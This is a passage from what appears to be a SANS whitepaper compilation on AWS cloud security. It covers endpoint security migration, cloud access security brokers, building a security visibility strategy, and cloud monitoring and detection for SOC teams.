After selecting a provider, the organization must review its security requirements to determine which security features, such as ML, HIPS, application blacklisting and UEBA, are required. The organization must establish centralized visibility into assets and then synchronize threat intelligence with the host, as outlined in Figure 1. Figure 1. Five Steps of Security Endpoint Migration The due diligence level of this scenario has two key goals: 1. Select your endpoint security provider based on business requirements for protection, migration, time, visibility, consistency, complexity, speed and scalability. 147 2. Configure endpoint security capabilities to foster integration, and evaluate features including EDR, signature/heuristic-based AV, firewall, HIPS, application blacklisting, DLP, ML and UEBA. Key activities include: • Evaluating endpoint agent visibility for log sources • Assessing integration requirements with SIEM • Testing AV alerting for false positive rates • Testing HIPS for automation capabilities • Evaluating UEBA for ease of implementation • Determining cost savings of ML capabilities 3. Identify assets via cloud-based security managers, and deploy endpoint security agents to physical, virtual and cloud-based assets such as Amazon EC2 instances. 4. Bolster visibility in a comprehensive view service such as Amazon CloudWatch event monitoring, where analysts can easily view endpoint activity. 5. Synchronize threat intelligence with Amazon GuardDuty agentless monitoring and conduct security monitoring in cloud-based SIEM services such as AWS Security Hub. Endpoint Detection and Response WEDR agents are a central element of migrating to AWS. Legacy endpoint security products are limited to either blocking or allowing an activity. EDR products add the ability to record endpoint activity and store it for future searches. Capturing IoCs is an ideal feature for integrating EDR agents with threat intelligence services, such as Amazon GuardDuty, which provide continuous threat monitoring and agentless detection for malicious behavior. See Figure 2. EDR agents also enhance cloud-based security operations by integrating system monitoring capabilities and leveraging system monitor logging and OS equivalents to provide detailed information about processes, connections and file changes. Tracing parent-to-child process relationships is key to determining the root cause of a cyber incident. A traditional security agent might report an endpoint infection, whereas an EDR security agent confirms the threat is blocked and, as shown in Figure 3, identifies the spawning process traced to a recent phishing attack. Enhancing Protection of Applications, Devices, and Networks Figure 2. Amazon GuardDuty Figure 3. EDR intercepts the attack cycle before malware spreads. Signature- vs. Heursitic-Based Antivirus Endpoint security agents require a robust base of malware file signatures to stop attackers from leveraging known malicious files. Signature detections serve as a baseline of security but are not an assurance of safeguarding data, because an attacker can modify the malware source code in minutes, resulting in a new signature capable of beating signature-based AV. Heuristic- and behavior-based endpoints integrate ML to identify new malware based on behavior instead of signatures. 149Application Blacklisting Endpoint security solutions in the cloud require application control through both whitelisting and blacklisting. AWS Systems Manager and AWS Config provide the capability to record inventory data to enable scenarios such as tracking newly installed or removed software applications, assessing security risk and troubleshooting.³ Endpoint security solutions often include these types of application controls to prevent the use of hacking tools and malicious software. This is often a challenging process because of frequent software updates that change file-based signatures. User and Entity Behavior Analytics UEBA is the human equivalent of ML for systems. UEBA leverages the baseline of a user’s activity to determine the expected pattern for that user. When a user deviates from the established baseline, or when a user’s pattern suddenly aligns with known malicious patterns, UEBA-capable agents trigger alerting and synchronize this data into threat intelligence services such as AWS Security Hub. Data Loss Prevention Security teams utilize DLP cybersecurity technology to monitor and alert on data content. This technology supports organizational compliance and data protection requirements for intellectual property, PII and confidential data. DLP technology is a unique solution for PII breach monitoring because of its content inspection capabilities. Cloud-based endpoint security agents with DLP capabilities can alert on the transfer of sensitive data, such as PII or proprietary source code, and alert cyber responders through a centralized monitoring service. Endpoint Security Solutions in AWS Marketplace AWS cloud-based endpoint security solutions offer seamless integration. Security solutions currently available in AWS Marketplace offer direct integration with more than 800 security applications from more than 36 leading endpoint vendors. This level of partnership allows organizations to select and integrate the most appropriate endpoint security partner based on business needs and capability requirements. Seamless integration fosters the deployment of endpoint agents across physical, virtual and cloud-based Amazon EC2 instances for total endpoint coverage in the environment. ³ “Preventing blacklisted applications with AWS Systems Manager and AWS Config,” April 26, 2018, https://aws.amazon.com/ blogs/mt/preventing-blacklisted-applications-with-aws-systems-manager-and-aws-config Enhancing Protection of Applications, Devices, and NetworksAmazon GuardDuty allows organizations to take endpoint security further in the cloud through a threat detection service that continuously monitors for malicious activity and unusual behavior to protect AWS accounts and workloads. Amazon CloudWatch provides log visibility to view events and security incidents in greater detail. These capabilities aggregate into a comprehensive view with the AWS Security Hub. Gone are the days of traditional signature-based AV. Today, well-prepared organizations rely on the power of cloud-based endpoint security solutions. Summary The flexibility, elasticity and economy of cloud computing are driving organizations to move from traditional to cloud-centric computing models. Cloud migration requires evaluation of business requirements for protection, migration, time, visibility, consistency, complexity, speed and scalability. Cloud-based endpoint security solutions have moved from simple AV to integrated suites capable of securing assets in any environment with advanced capabilities such as application control, ML and UEBA. Synchronization with AWS services such as Amazon CloudWatch for log visibility, Amazon GuardDuty for threat intelligence and AWS Security Hub for synchronization provides a comprehensive view for responders to combat the threat while upholding organizational security objectives in a distributed cloud environment. About the Author Thomas Banasik is a SANS analyst and senior security operations center manager for Veritas Technologies, LLC. He has consulted with numerous organizations in cybersecurity across the government, military and commercial sectors. An incident response expert, Thomas has extensive experience in security operations, threat intelligence, insider threat, and threat vulnerability management. He previously worked as a senior security operations center manager for the U.S. Government Accountability Office and is a retired U.S. Army cyber and military intelligence officer. Thomas holds the GCIH, GCWN, GCIA, GSEC, and CISSP-ISSEP, ISSAP, ISSMP certifications and is currently pursuing a second graduate degree in information systems security engineering from the SANS Technology Institute. 151Chapter 13: How to Leverage a CASB for Your AWS Environment “Cloud service providers offer a range of services, including those where data can be stored. Now how is it that organizations can verify and enforce that their data does not go to an unapproved location or service? Cloud access security brokers (CASBs) can aid in addressing this problem. When security teams want to implement a CASB into the environment, they’re able to leverage a phased approach so it doesn’t impact end users too much too quickly (unless that’s how you want to roll). On top of data loss prevention (DLP), CASBs also monitor user activity through the different integrations to let security teams know if something is “not common” in the environment, so they can gain an understanding if a username/password is compromised.”Kyle Dickinson SANS Instructor & Author Enhancing Protection of Applications, Devices, and Networks Enhancing Protection of Applications, Devices, and NetworksIntroduction With the explosive rate of enterprises moving toward the use of cloud service providers (CSPs), organizations are seeking new methods and best practices to implement security controls in cloud environments. Many organizations have already securely and successfully migrated their productivity suites and web applications. Now they are moving their business-critical and highly sensitive systems, including HR applications, customer relationship manager (CRM) systems and enterprise resource planning (ERP) software to the cloud. But how can they ensure that they’ve gained visibility through and through? With the convenience provided by cloud access security brokers (CASBs) and the means to integrate with modern technologies, organizations can effectively secure their cloud-based data. In this paper, we discuss ways to integrate CASBs into your organization, common functionalities found within CASB platforms and how CASBs can aid organizations in securing their footprint in the cloud. We begin with CASB deployment types. Integrating CASBs CASBs can be integrated into organizations in various ways. It’s up to each organization to determine which deployment method best fits its needs. As part of this decision-making process, organizations need to be aware that deployment types differ in the features and functionality they provide. The types of CASB deployments include: • API — This deployment mode, shown in Figure 1, allows organizations to integrate to their applications, and it requires no agents. However, the available APIs are limited to what the SaaS provider allows access to. With the API integration, organizations may not have the ability to do real-time prevention. • Forward proxy — Forward proxies redirect traffic destined to an application to the CASB (see Figure 2). This can leverage agents or proxy auto-config (PAC) files. To leverage a CASB as a forward proxy, organizations must have a solid strategy for managing endpoints because they must elastically deploy either the agent or PAC file. If your organization leverages BYOD, this deployment mode may be challenging to implement. 153 Figure 1. API Method Figure 2. Forward Proxy Method Figure 3. Reverse Proxy Method • Reverse proxy — This method redirects traffic through a federated identity to a SaaS application. It integrates with existing identity providers and allows an organization to securely access its cloud applications for managed enterprise devices as well as BYOD. See Figure 3. Organizations should consider consulting with the CASB vendor to better understand what features are available based on the deployment method they choose to integrate. Enhancing Protection of Applications, Devices, and Networks Figure 4. Comprehensive Visibility When moving to CSPs and cloud applications, a degree of visibility may be lost, and that may depend on the type of logging available from the provider. Correlating the logs and data available can also prove to be challenging, especially across multiple providers and applications. A CASB assists organizations with the visibility of their cloud-based applications. By giving organizations insight into the security posture of their infrastructure-as-a-service (IaaS) environment, they also gain a better visibility with their SaaS footprint. Security teams should be looking for patterns of misconfigurations within their Amazon Web Services (AWS) footprint or cloud applications. Examples could include whether there are stale users in the environment or whether cloud storage is allowing anonymous or public access. Teams should also be reviewing whether controls that have been put in place are taking effect and whether there are interactions with unauthorized applications. With an organization adopting multiple services that reside in the cloud, providing a comprehensive view to operations and security teams can reduce the complexity inherent in managing multiple SaaS applications. Because CASBs can integrate with the different cloud applications, including an AWS footprint, they provide security teams with a comprehensive view of the environment. ¹ “The NIST Definition of Cloud Computing,” NIST Special Publication 800-145, September 2011, https://csrc.nist.gov/publications/ detail/sp/800-145/final#pubs-documentationCommon CASB Capabilities Similar to the NIST characteristics of cloud computing (on-demand self-service, broad network access, resource pooling, rapid elasticity and measure service),¹ there’s something to be said about the common capabilities available within a CASB solution. Key capabilities that aid organizations in securing their cloud applications and AWS footprint include visibility, compliance, data security and configuration compliance (See Figure 4). 155Auditing CASBs can help make sense of AWS CloudTrail² auditing data, including how to determine malicious behavior. They typically use machine learning (ML) to baseline normal behavior in an environment to reduce the number of false positives. Although CASBs can also evaluate an organization’s AWS footprint, including auditing data, so it has a better understanding of the activity occurring with the AWS footprint. This information is critical because the size of an organization can scale from tens to hundreds of accounts. With a CASB’s capability to perform user and entity behavior analytics (UEBA), security personnel can get a better understanding of behavior that deviates from the norm. Consider these examples: • Is it normal for David from Accounting to stand up multiple SQL databases in a day? • Should Marc the intern be deleting Amazon EC2 instances after hours? • Is someone logged in from multiple locations at the same time? UEBA gives organizations the capability to trigger alarms for security operations centers (SOCs) to investigate such activities further. In addition, it allows them to understand whether there are opportunities for the organization to scale back local users, groups and permissions based on activity within the environment. Data Security When moving data to a third party’s infrastructure, data protection becomes a priority for organizations. CASBs afford key capabilities in a single tool: from understanding where your data resides, to determining which data is being transmitted back and forth, to uncovering object storage that does not offer malware detection. They integrate with cloud storage services such as Amazon Simple Storage Service (Amazon S3) and provide analysis of data as it is transferred to and from Amazon S3 storage. Depending on how an organization integrates the CASB, the level of data security can vary. For example, CASBs may also offer integrations to existing endpoint data loss prevention (DLP) tools, such as McAfee DLP Endpoint and McAfee MVISION Cloud. This proxied connection accomplishes a very important task organizations must consider when moving assets to the cloud: DLP. Understanding what data is being transferred and where it is going becomes a unique challenge. Because of this, a CASB has an ² This paper mentions product names to provide real-life examples of how various tools can be used when integrating CASBs into cloud environments. The use of these examples is not an endorsement of any product. Enhancing Protection of Applications, Devices, and NetworksConfiguration Compliance With elasticity and self-service being a couple of the key characteristics of cloud computing, development staff need to be able to understand whether a workload’s configuration is adhering to a best practice. This is true both for those teams that are experienced and have been using AWS for several years and for new teams that are leveraging AWS for the first time. A CASB can also provide: • Configuration reporting — A CASB can extend itself by evaluating AWS accounts, looking at the configuration(s) and aligning them to best practices such as discovering shadow IT cloud services. The Center for Internet Security (CIS) Benchmarks³ help organizations identify best practices. • Compliance reporting — To further the configuration reporting and aligning to best practices, a CASB can provide insight to the compliance status. Security personnel can also determine whether controls for SaaS applications are being enforced. With a CASB monitoring configurations within their AWS footprint and cloud applications, security personnel can identify at-risk workloads and correct them, as well as gain understanding of additional applications that may be in use. A common at-risk configuration could be that multifactor authentication “With a CASB’s capability to perform UEBA, security personnel can get a better understanding of behavior that deviates from the norm.”opportunity to aid in enforcing DLP policies, as well as providing malware detection for data that is coming to and from the organization’s AWS footprint or cloud applications. This is a desirable attribute of CASBs. 157 Table 1. Use Cases “When moving data to a third party’s infrastructure, data protection becomes a priority for organizations. CASBs afford key capabilities in a single tool.”(MFA) is not enabled on an AWS Management Console user. The CASB can display an alert. For application discovery, ask if data is going to a data storage service that is not on a preapproved list of cloud-based storage or if you detect that data is going to another third-party service. Use Cases Table 1 provides three use cases and the features security teams can leverage with a CASB to address identified needs. These use cases are common for a CASB, and solutions can be addressed by AWS Marketplace partners such as Netskope and McAfee. CASBs are growing in popularity, as the uses of cloud applications and IaaS are increasing. Being able to integrate security solutions into these platforms is becoming necessary for organizations that consume these modern technologies. ³ Center for Internet Security, www.cisecurity.org/benchmark/amazon_web_services/ Enhancing Protection of Applications, Devices, and NetworksSummary Leveraging a CASB has several advantages for an organization. As an organization moves applications and data from an on-premises data center to the cloud, the number of applications that it can leverage grows constantly, as do the areas where data can reside. Strategizing how an organization is going to secure cloud-based infrastructure, applications and data are a few of the pieces to consider when moving to the cloud. When determining what type of CASB deployment to use, an organization should consider what kinds of devices are within the organization, whether managed, unmanaged or both. An organization also needs to consider if it has the capability to manually and automatically push agents or configuration files to the workstation. Once an organization evaluates the deployment method and functionality, it possesses the ability to maintain the deployment it selected. About the Author Kyle Dickinson teaches SANS SEC545: Cloud Security Architecture and Operations and has contributed to the creation of other SANS courses. He is a cloud security architect for one of the largest privately held companies in the United States. As a strategic consultant in his organization, Kyle partners with businesses in various industries to better understand security and risks associated with cloud services. He has held many roles in IT, ranging from systems administration to network engineering and from endpoint architecture to incident response and forensic analysis. Kyle enjoys sharing information from his experiences of successes and failures. 159 Improving Visibility, Threat Detection, and Investigation in AWS Improving Visibility, Threat Detection, and Investigation in AWS“With the shift to cloud, security and operations teams have had to look at different tools, processes and services that are geared toward software-defined infrastructure. For lots of reasons, developing visibility across all cloud assets and accounts is a top priority. On the one hand, there are more advanced methods and tools built into the cloud provider fabric to help gain a continuous monitoring view of the environment. On the other hand, there’s more to cover, including the cloud control plane and a vast array of new services running in the cloud. To improve visibility in the cloud, especially with the dynamic nature of today’s deployment and runtime life cycles, organizations need to enable all the tools they have in the arsenal to help. This includes cloud-native logging, cloud integrated monitoring, workload introspection capabilities, and much more. At the same time, the SOC must update use cases and workflows to craft entirely new incident response playbooks, too. This chapter provides security analysts with the tools and concepts necessary to craft a more cloud-centric security visibility strategy.”Dave Shackleford SANS Senior Instructor & Author Chapter 14: How to Build a Security Visibility Strategy in the Cloud 161Introduction Today organizations are storing sensitive information ranging from business intelligence to personally identifiable information, health records, credit cards and other regulated data in the cloud. It is obvious that cloud is here to stay, and security professionals need to manage the threats and vulnerabilities that go along with cloud deployments. The good news is that more powerful tools and capabilities are available in the cloud than ever before, and this all starts with increasing visibility for cloud implementations, both with cloud-native tools and services and third-party tools and products that have been adapted to cloud provider environments.In this paper, we look at a variety of controls to ensure network, application, instance/ container, database/storage, and control plane visibility and build upon them to create a security visibility strategy for the cloud. Types of Security Visibility Needed in the Cloud The two major types of visibility that security teams need to focus on in the cloud today are: • Event-driven visibility — The most common types of visibility that security teams have traditionally focused on are events. These events can be derived from a wide variety of sources, including operating system logs, application logs, network device and platform logs and events, and security system events (intrusion detection and prevention, data protection tools, anti-malware platforms and more). In the cloud, all of these events still have merit and all can (and should) be collected as needed. However, the cloud service environment itself can also track events occurring across infrastructure, so security teams have a new category of events they can use to monitor for unusual or suspicious activity. For example, a security operations center (SOC) can monitor AWS CloudTrail1 events for an Amazon Elastic Compute Cloud (EC2) instance spawned from a non-approved machine image or a user attempting to deactivate multifactor authentication (MFA). • Behavior-driven visibility — The other major types of visibility needed in many environments are more driven by events occurring over time, indicating a pattern of behavior. Particularly in cases of insider abuse, account hijacking and illicit use of cloud resources, organizations need insight into larger datasets over longer periods of time to really see whether unusual or malicious activities are afoot. 1This paper mentions product names to provide real-life examples of how visibility tools can be used. The use of these examples is not an endorsement of any product. Improving Visibility, Threat Detection, and Investigation in AWSWith these two types of visibility in mind, the next section describes the types of controls you will need to ensure security visibility. Security Visibility Today The importance of visibility into what the environment looks like and the inventory of available assets cannot be overstated. The first of the Center for Internet Security (CIS) Critical Security Controls2 focuses entirely on shoring up this lack of visibility through maintaining a sound inventory of systems operating within the environment. The security concept “You can’t secure what you don’t know about” holds true in any environment, and this control has been the highest-priority control since the list’s inception. The second CIS Critical Security Control focuses on gathering and maintaining an inventory of software running on systems. Both of these controls fit into the identify function of the NIST Cyber Security Framework (CSF), which is illustrated in Figure 1. • Network visibility — The types of controls often used to achieve network visibility include network firewalls, network intrusion detection and prevention, load balancers, proxying tools, and network flow data (behavioral) collection and monitoring. Leading network vendors have adapted products in all of these categories to integrate into a virtual private cloud (VPC) architecture, granting network and security teams the same security capabilities and insight into network traffic they’ve attained internally. Cloud- native access controls such as security groups and flow logs enable security teams to monitor and track network events and behaviors. • Application visibility — Application visibility relies on tracking events and behaviors at scale as workloads communicate within the cloud environment as a whole, in addition to the local application logs on individual systems and containers. Developing true application visibility often relies on feeding events into event management and SIEM platforms, which have also been well adapted into cloud environments, often via API integration. “The importance of visiblity into what the environment looks like and the inventory of available assets cannot be overstated.” 2 www.cisecurity.org/controls 163 Figure 1. The NIST Cyber Security Framework • Instance/container visibility — Logs and events generated by services, applications and operating systems within cloud instances should be automatically collected and sent to a central collection platform. Automated and remote logging is something many security teams are already comfortable with, so organizations implementing robust cloud security designs really just need to ensure that they are collecting the appropriate logs, sending them to secure central logging services or cloud-based event management platforms, and monitoring them closely using SIEM and/or analytics tools. In the case of containers and container management tools, many new and well-known providers of vulnerability scanning and configuration assessment services have adapted their products to work in the cloud, granting deep visibility into both container image configuration and runtime event monitoring. • Database/storage visibility — Many cloud deployments employ a wide variety of storage types, including block storage, blob-type storage, databases and more. Security visibility for storage components often revolves around access controls and permissions, as well as events related to encryption and other protective measures implemented within the storage platform. All major cloud storage types include various forms of logging, and many include access control measures. Many encryption and data monitoring tools are available for public cloud storage, as well. Improving Visibility, Threat Detection, and Investigation in AWS • Control plane visibility — Another type of visibility that is now available in the cloud is of the cloud environment itself: the control plane. In addition to extensive logging of all activity within the environment itself, a number of new services are available to continuously monitor cloud accounts and environments for best practices configuration and security controls status. Imagine a single service to monitor the entire data center and its configuration all at once! Myths About Cloud Security Visibility As cloud adoption has increased, a couple of myths about cloud security visibility linger. “We can’t get adequate logging in the cloud.” Today, this statement is blatantly false, because major infrastructure-as-a- service (IaaS) providers have enabled extensive logging of all activity within the environment, essentially recording every API call made in any way. “Network security visibility is less capable in the cloud.” With the right mix of tools and architecture, this is also untrue. More and more, leading network security providers are adapting products to integrate into leading IaaS clouds, and coupled with cloud-native network controls, this provides plenty of opportunity to see and control traffic. 165What is Different About Visibility in the Cloud? One major development in cloud security that immediately benefits security teams is the reality that cloud-based assets are inextricably linked to the provider’s environment, making them always visible. Through a combination of integrated APIs, scanning and local agents, it is possible to improve upon inventory and asset management strategies more than ever. In essence, there’s an “always-on” level of visibility that teams can query and monitor, and there’s really nowhere to hide in the cloud. In addition, as noted earlier, a comprehensive control plane is now part of the mix for security-related tasks and operations. What does this mean to visibility? In essence, the environment (and APIs offered by the cloud provider) becomes a unified backplane that organizations can attach monitoring tools to, generate event data from, and set event and behavior “triggers” around that puts this control plane to work for security teams in an automated fashion. By building out policies for event monitoring, continuous scanning of workloads and events, and potentially responding through automated actions, the cloud platform lends itself to deeper levels of visibility than were possible in traditional data center environments. Imagine having a single control plane for your entire data center, where all tools could be connected, events generated and monitored, access managed and so on—this is truly what’s possible in the cloud. All of this is possible, of course, because the entire environment is software-defined. In addition to adapting existing tools and services to work within the new control environment, many services from the cloud providers themselves are emerging to augment security operations strategies. It is possible to have more than one tool or service monitoring various facets of cloud environments at all times—with minimal additional overhead. Building a Cloud Security Visibility Strategy The first function outlined in the NIST CSF is Identify, which consists primarily of asset management, governance and risk assessment practices and controls within the environment. Accordingly, the first step to building a cloud visibility strategy is to determine what types of event data and information are available in the cloud environment you’re operating within, which can immediately help to achieve the goals of the identify phase. Aside from agent-based tools that can help to collect workload and container events, and other third-party platforms that organizations may choose to implement (discussed shortly), logs and events that contribute to cloud visibility also include environment logs that describe interesting API activity (which would also align under the investigate function of the NIST CSF). Take, for example, an Improving Visibility, Threat Detection, and Investigation in AWSFigure 2. Suspicious AWS CloudTrail Event Another major element of the NIST CSF is Protect, which emphasizes many security controls that would be involved in improving security visibility. Such controls include firewalls and security agents that can aid in protecting from malware, network behavior monitoring, event management tools and more. Consider the following process to select and implement the most effective cloud security visibility strategy: 1. Be sure to investigate third-party options from vendors and service providers that can enhance and augment your monitoring and visibility strategy. 2. Before considering the latest cloud-native tools and capabilities from cloud providers, consider the critical factors that may dictate when you should keep your in-house vendor products in place (or possibly choosing entirely different third-party tools versus those you’ve had) as opposed to moving to new cloud service provider offerings. Sticking with your current tools makes sense if: • You have a well-supported vendor product that has been adapted to the cloud and scales well. • You have a highly distributed cloud deployment and need to keep operational overhead and skills to a bare minimum.AWS CloudTrail event that indicates a cloud user trying to deactivate an MFA device, as shown in Figure 2. Be sure to evaluate these log types carefully to understand what types of information they provide you. 167 • Your vendor product has clear and distinct advantages over the cloud provider services offered and these make a difference to you. In some cases, however, a combination of both vendor and cloud provider services/controls may make more sense than one solution alone. To that end, be sure to evaluate cloud-native controls that the provider offers. In-house services may offer simpler operations, better performance, improved capabilities, or deeper and more natural integration than existing tools. For many large enterprises, though, cloud-native solutions will be better implemented to augment and enhance security visibility alongside third-party tools. Finally, make sure you tie together event monitoring, vulnerability scanning/monitoring and control plane visibility to create a true continuous monitoring strategy. Building a Cloud Security Visibility Strategy What does a modern cloud-enabled SOC look like for hybrid architectures? Figure 3 illustrates key issues a cloud-aware SOC should be prepared to work through. Figure 3. Planning Steps Improving Visibility, Threat Detection, and Investigation in AWSArchitecture Planning The SOC team needs to align with cloud architecture and engineering teams that have built the hybrid architecture and maintain it. DevOps teams will also be involved in governance and oversight of cloud activity monitoring and visibility, because they will be responsible for application development and deployments into a platform-as-a-service (PaaS) or IaaS environment. The SOC team should strive to understand the following with the assistance of these teams: • What connectivity does the public cloud provider have back to the data center or primary operations location? In many hybrid architectures, this connection is either a point-to-point IPSec VPN tunnel (or several of them), a dedicated telecommunications circuit of some fixed bandwidth, or a combination of both. The means of connectivity will determine accessibility into the cloud network environment, as well as bandwidth constraints on event data and other visibility information the SOC needs. • Are the appropriate tools enabled? Discuss whether any deployment tools in use for managing and promoting infrastructure as code (code repositories, deployment tools like Jenkins, or template formats like CloudFormation, Terraform, etc.) should be enabled for auditing activities and access logging. • How will deployment images and container builds be deployed? Discuss deployment images and container builds, so that the SOC understands where and how these will be deployed. Team members need to understand topics including image update cycles, storage locations and workload lifecycle to better enable contextual monitoring. • What are our plans for elasticity and scaling? Discuss any plans for elasticity and automatic scaling operations that could increase or decrease activity and operations in the cloud environment. SOC teams must understand these issues so that they can better prepare to monitor the events and track changes accordingly. Enabling Security Controls The SOC should then enable the following options in various security control categories to ensure visibility is maximized in the cloud: 169OS Hardening and Logging Enable auditing and logging of all instances and containers to be forwarded to a central in-cloud storage location, where the data can then be streamed to an on-premises or in-cloud SIEM. Ideally, CIS guidelines and other industry benchmarks are built into deployment templates and images, and additional logging and hardening scripts can be created by experience over time. Control Plane Logging Ensure that all cloud provider control plane logging (such as AWS CloudTrail) is enabled and that these logs are being centrally collected and streamed to an on-premises or in-cloud SIEM through API integration. Any third-party services performing independent control plane logging and monitoring should be generating events and logs that can ideally be extracted via API and centralized within a SIEM or analytics platform. In addition, enable cloud-native behavioral analytics tools to monitor account behavior and activity specifically. Identity and Access Management (IAM) All directory service logs should be centrally collected, as should other logs such as central policy coordination through tools like identity and access management tools offered by cloud providers. Because most IAM users and groups tend to be service accounts and unique DevOps, testing and administration accounts, be sure to carefully monitor all activity pertaining to these users and roles. Any addition, deletion or changes of IAM policies should be noted carefully and prioritized, too. Endpoint Security Ideally, SOC teams will have installed and enabled endpoint detection and response (EDR) agents from a trusted third party or leading open source project, including tools that perform host IDS functions. Send all these events to a monitoring console that can integrate with SIEM and analytics tools. Network Security A SOC team should enable next-generation firewall (NGFW) platforms that offer intrusion prevention and detection, along with traditional network protocol and service/ port control. Also, enable and send cloud DNS logs and network flow records to a central monitoring platform that can feed data to SIEM and analytics tools. Vulnerabilities/Configuration Set up a best-of-breed third-party network and application vulnerability scanner to feed vulnerability reporting data back to a SIEM or analytics platform, and use a cloud-native scanning tool (if available) to enable more continuous monitoring (if available). Any continuous monitoring tools that the cloud provider offers should also be enabled to scan for specific conditions. For example, are all running workloads being started from approved images? Improving Visibility, Threat Detection, and Investigation in AWSThreat Detection With the proper visibility in place through logging and monitoring, along with large-scale analytics and data processing tools and capabilities, cloud consumers can now track and monitor both control plane activity (covered earlier) and threats from both internal and external sources over time. With a more complete picture of behavior, organizations can detect malicious, suspicious, and accidental/unintended actions and events. Adapting Existing Processes and Functions Finally, a SOC needs to adapt some of its existing processes and functions to properly improve visibility into their deployment of hybrid architectures. Take the following example of a traditional SOC walkthrough (see Figure 4). Figure 4. Process for Adapting Processes and Functions Initial Event Based on collection and large-scale analytics processing of flow logs within their SIEM, SOC staff is alerted to a workload in a cloud subnet scanning or trying to communicate with other subnet members. These are recorded as REJECT messages from a number of ports where the subnet attempted 171communication. Simultaneously, a serverless function that autotags instances exhibiting these scanning behaviors is triggered, adding the tag Suspicious to the instance with a value of Yes. Within the same time frame as this initial alert, additional correlating evidence appears implicating strange behavior patterns on the part of an IAM account used in application interactions with this same system. The account was invoked from a remote command-line installation versus internal-only invocation. Event Validation Using a dedicated account with specific programmatic access privileges into the production environment, the SOC team runs a query to find out the instance configuration details based on the image it was deployed from, as well as how long the instance has been running and its remote IP address (if it has a public interface). Another SOC account query looks for any and all systems with the Suspicious tag every 30 seconds to see if new systems are appearing in the same subnet. Investigation Based on the behaviors seen, the SOC team runs a vulnerability scan on the workload to see if any obvious misconfigurations are present, or whether known vulnerabilities are found that could be exploited. At this point, the team can declare a formal investigation, open a ticket and initiate follow-up response and forensics processes. Improving Visibility, Threat Detection, and Investigation in AWSSummary The cloud has a lot to offer in the way of security monitoring and visibility. Organizations have the ability to capably monitor for both event-driven and behavior-driven activity, and now they have a single environment they can query for all the cloud control plane visibility they could ask for. Some adaptation of monitoring and preventive/detective tools may be required. However, organizations have more options because of the variety of cloud-native and third-party controls and services available. It is possible to implement and monitor the entire spectrum of control areas, ranging from network controls, including firewalls and intrusion detection services, to endpoint protection and monitoring agents, to continuous vulnerability scanning. Given large-scale analytics processing and numerous options to enable, collect, store and transmit log and event data from cloud assets and environments, organizations can more readily analyze everything happening in segments of their hybrid cloud networks and correlate this data with internal event information generated from existing security tools (some of which may be covering both internal and public cloud space). About the Author Dave Shackleford, a SANS analyst, senior instructor, course author, GIAC technical director and member of the board of directors for the SANS Technology Institute, is the founder and principal consultant with Voodoo Security. He has consulted with hundreds of organizations in the areas of security, regulatory compliance, and network architecture and engineering. A VMware vExpert, Dave has extensive experience designing and configuring secure virtualized infrastructures. He previously worked as chief security officer for Configuresoft and CTO for the Center for Internet Security. Dave currently helps lead the Atlanta chapter of the Cloud Security Alliance. 173 “Enabling logging in the cloud is easier than ever, but then what? What kinds of event data should organizations gather to be most effective? What else do they need to build an effective monitoring strategy that can then facilitate effective investigations and response? These are all common questions I hear frequently from security operations teams, and there are many types of workload, network and cloud control plane events that they need to collect in the cloud. That’s just the beginning! After collecting this data, teams need to prioritize some types of events, integrate with both cloud-native and third-party monitoring tools and services, and leverage automation tools and controls to improve detection and response in highly dynamic environments. This chapter lays out the controls and services organizations should consider, identifies event data considerations in AWS for monitoring and alerting, and gives you some ideas on security automation, as well.”Dave Shackleford SANS Senior Instructor & Author Chapter 11: How to Improve Security Visibility and Detection/Response Operations in AWS Improving Visibility, Threat Detection, and Investigation in AWS Improving Visibility, Threat Detection, and Investigation in AWSThe Need for Cloud Security Monitoring Security teams have increasingly realized a need to focus on monitoring tools and tactics for cloud environments. We’ve seen many types of cloud security incidents in the past several years, ranging from external intrusion attempts to internal misconfiguration and accidental exposure. Fortunately, cloud service providers (CSPs) have worked hard to create better cloud-native controls and services, as well as to enable third-party solutions to integrate with the cloud fabric for improved visibility and control. Security teams need to work diligently to update security monitoring and response practices to better reflect cloud-based tools and use cases. In general, security teams need to focus on two major types of event monitoring in the cloud: • Event-driven monitoring — The most common types of monitoring security teams have traditionally focused on are event-based. Events can be monitored from a wide variety of sources, including operating system logs, application logs, network device and platform logs, and security systems (intrusion detection and prevention, data protection tools, anti-malware platforms and many more). In the cloud, all of these sources are still important, and security teams can—and should—collect them all. However, the cloud control plane can also generate and track events occurring across an organization’s infrastructure, so security teams can use a new category of events to monitor for unusual or suspicious activity. For example, a security operations center (SOC) could monitor events for an EC2 instance spawned from a nonapproved machine image or a user attempting to deactivate multifactor authentication (MFA). • Behavior-driven monitoring — The other major type of security monitoring needed in many environments is driven by events that occur over time and indicate a pattern or trend in behaviors. Many use cases coincide with this model of monitoring, including cases of insider abuse, credential hijacking and illicit use of cloud resources. To best monitor for behaviors, security teams need access to and insight from larger datasets over longer periods of time to see whether unusual or malicious activities are occurring. An example might be an unusual pattern of workloads trying to communicate to other workloads within a subnet, potentially indicating system compromise and attempted lateral movement. This may be noted by observing large datasets of flow logs aggregated and monitored by a network monitoring solution or event management platform. 175Cloud security monitoring and response increasingly focus on automation. While not all cloud security processes should be completely automated, there are many innovative automation capabilities built into the cloud control plane that can significantly improve many security monitoring and operations practices. Collectively, logging and event monitoring, as well as automation strategies and tools, can enable security teams to build a continuous monitoring strategy in the cloud. This consists of two core strategies: • Baseline monitoring and logging for workloads and the cloud control plane • Scanning within the cloud for behaviors, conditions and vulnerabilities Enabling Cloud-Native Event logs and Event Management To establish baseline monitoring, security teams should gather and process the following: • Cloud control plane logs (such as AWS CloudTrail¹ logs) • Workload OS/application logs • Network flow logs for virtual private clouds (VPCs) Security teams should also leverage automation for improved operational capabilities with services like AWS Lambda and AWS Config. Cloud Control Plane Logs The first, and perhaps most obvious, step security analysts need to take is to collect logs from all relevant CSP environments. At the same time, analysts need to ensure that all the logs are going to a common location. An example of a cloud control plane logging service is AWS CloudTrail, which records any API calls made to Amazon Web Services (AWS). The service captures an extensive amount of data that security professionals will want to see, including the identity of the API caller, the time of the API call, the source IP address of the API caller, the request parameters and the response elements returned by AWS. AWS CloudTrail logging captures all requests made from the standard AWS Management Console, command-line tools, any AWS Software Development Kits (SDKs) and other AWS services. ¹ This paper mentions solution names to provide real-life examples of how cloud security tools can be used. The use of these examples is not an endorsement of any solution. Improving Visibility, Threat Detection, and Investigation in AWSAWS CloudTrail solves one of the most challenging issues many security teams face when migrating IT resources into AWS: the capture and maintenance of cloud service event data that can feed log management and SIEM platforms. AWS CloudTrail uses Amazon S3 buckets for storage of the log data, allowing security teams to leverage the same APIs to access data quickly and easily for correlation and 